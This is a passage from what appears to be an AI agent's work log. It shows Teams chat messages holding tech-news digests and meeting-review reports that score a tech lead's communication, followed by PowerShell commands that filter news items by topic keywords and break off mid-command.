10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> - Ran `python collect_repeat_candidates.py`\n>\n> - Ran `Get-Content -Tail 30 -LiteralPath .\\collect_repeat_candidates.py`\n>\n> - Ran `python collect_repeat_candidates.py | Measure-Object -Character -Line`\n>\n> - Ran `$d = (python .\\collect_repeat_candidates.py | ConvertFrom-Json); $topic='(?i)\\b(ai|artificial intelligence|agent|model|llm|developer|software|code|coding|github|open.source|cloud|aws|azure|kubernetes|database|linux|security|cyber|vulnerability|cve|exploit|breach|ransomware|malware|privacy|chip|gpu|infrastructure|data.center|devops|api|framework|runtime|enterprise|quantum|robot|acquisition|funding|browser|http|programming|container|network|identity|encryption|openai|anthropic|nvidia)\\b'; $bad='(?i)\\b(best|deal|review|podcast|webinar|job|hiring|stocks?.to.buy|prime.day|shopping|coupon|gift|top.\\d+|gallery|interview.questions|certifications|what.is.artificial.intelligence)\\b'; $rows = for($i=0; $i -lt $d.candidates.Count; $i++){ $c=$d.candidates[$i]; $hay=$c.title+' '+$c.summary; if($hay -match $topic -and $c.title -notmatch $bad){ [pscustomobject]@{idx=$i;total=$c.total;q=$c.quality;date=$c.published.Substring(0,10);feed=$c.feed;publisher=$c.publisher;title=$c.title} } }; [pscustomobject]@{raw=$d.raw_count;unique=$d.unique_count;matched=$rows.Count;rows=$rows} | ConvertTo-Json -Depth 4 -Compress`\n>\n> - Ran `$ErrorActionPreference='Stop'; $d = (python .\\collect_repeat_candidates.py | ConvertFrom-Json); $topic='(?i)\\b(ai|artificial intelligence|agent|model|llm|developer|software|code|coding|github|open.source|cloud|aws|azure|kubernetes|database|linux|security|cyber|vulnerability|cve|exploit|breach|ransomware|malware|privacy|chip|gpu|infrastructure|data.center|devops|api|framework|runtime|enterprise|quantum|robot|acquisition|funding|browser|http|programming|container|network|identity|encryption|openai|anthropic|nvidia)\\b'; $bad='(?i)\\b(best|deal|review|podcast|webinar|job|hiring|stocks?.to.buy|prime.day|shopping|coupon|gift|top.\\d+|gallery|interview.questions|certifications|what.is.artificial.intelligence)\\b'; $rows = for($i=0; $i -lt $d.candidates.Count; $i++){ $c=$d.candidates[$i]; $hay=$c.title+' '+$c.summary; if($hay -match $topic -and $c.title -notmatch $bad){ 